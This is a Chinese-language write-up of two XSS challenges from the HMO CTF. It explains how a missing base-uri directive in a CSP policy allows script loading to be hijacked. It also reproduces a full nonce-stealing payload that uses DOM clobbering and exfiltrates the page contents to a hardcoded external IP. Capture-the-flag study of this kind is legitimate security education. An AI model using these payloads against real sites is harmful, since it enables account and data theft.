HMOCTF-XSS

2021.5.16参与了HMO CTF做了和XSS相关的题目。

整场比赛:

image-20210517220112742

Polite Notepad

打开题目首先是个登录框:

image-20210517220402194

随便输入username和passwd就可以进入写note

新增一个note观察一下DOM

image-20210517220952986

生成了一个note

image-20210517221427456

可以看到使用了csp,写个XSS POC试一下,可以看到报错

image-20210517221727454

很明显,这题是CSP绕过了,查看这个csp

csp策略:CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置

Content-Security-Policy: default-src 'self'; style-src https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/css/bootstrap.min.css; script-src https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js 'nonce-cLINoUPEhBHqzl0KFYIc9w'

此处使用了default-src:‘self’,也就是说默认情况下,限定了javascript、css、img、font、connect(请求相关)、child(包括iframe等)的有效来源只能是与该主页同源的网站。

通过csp check检查一下这个策略

可以看到csp策略没有设置base uri

image-20210517222935363

Content-Security-Policy base-uri指令限制可以在文档<base>元素中使用的URL 。如果此值不存在,则允许使用任何URI。如果此指令不存在,则用户代理将使用该<base>元素中的值。

使用base标签定义URL写入content,可以看到网页中使用的/static/badwords.js是相对路径,通过base定义uri之后,直接获取的就是该base对应的uri中的badwords.js

image-20210517223820941

那么在自己的vps上放一个内容为恶意poc的/static/badwords.js,即可达到XSS的目的

image-20210517224140597

下一步就是找flag了,一般情况下会认为在cookie里,但是通过打cookie发现cookie为空

找了一轮,发现在admin管理员的mynote中,那么写个请求,先访问admin的mynote

image-20210517231458488

将note的地址分享给bot

image-20210517225720966

获取到返回值如下:

image-20210517231420246

编码一下可以看到:

image-20210517230101156

访问这个note

image-20210517230333872

根据返回值解码:

image-20210517231844387

image-20210517230419258

拿到flag

Politer Notepad

上一道题的解法其实并非主办方的本意,但是由于非预期(未设置base uri)所以导致了比较容易的解法,主办方在新的进阶版题目中,修复了这个问题。将/staic/badwords.js改成了绝对路径,base标签无法篡改该js

image-20210517232240597

这道题是结束后,登录到别人的账号中(因为大家做题的时候都是用简单账号登录,账号碰撞了一下,发现了poc)

image-20210517233113732

通过查看源代码可以看到,在note中存在以下规则:

image-20210517233230382

通过good*bad*替换达到偷取nonce执行XSS的结果

<a id=bad1 href='cid:="</div">'><a id=good1 href="cid:></script><iframe srcdoc='$'"><a id=bad2 href="http://politernotepad.zajebistyc.tf/static/badwords.js"><a id=good2 href='data:,fetch(`http://politernotepad.zajebistyc.tf`).then(e=>e.text()).then(e=>top.location=`http://192.154.218.128:2333?h=${encodeURIComponent(e)}`)"></script>'><a id=bad3><a id=good3><a id=bad4><a id=good4><script cid:=

分析一下这个poc:

先看一下这个content Dom tree前后

image-20210518220314936

image-20210518221504683

bad1 的href='cid:="</div>"',href指向链接 cid:="</div>".在poc的最后,拼接了<script cid:=与div的闭合标签</div>,形成href,被good1替换。

image-20210518222435003

$占位符直到遇到'结束

image-20210518222727702

image-20210518222854143

bad2中的绝对路径/static/badwords.js 被good2替换

image-20210518223217224

最后变成这样:

image-20210518223338563

image-20210517235138000

解码:

image-20210517235221090

获取flag

image-20210517235641942

image-20210517235623630